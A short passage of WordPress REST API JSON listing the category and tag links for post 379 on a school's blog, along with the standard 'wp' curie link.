axonomy":"category","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/categories?post=379"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.altaglobalschool.com\/blog\/wp-json\/wp\/v2\/tags?post=379"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}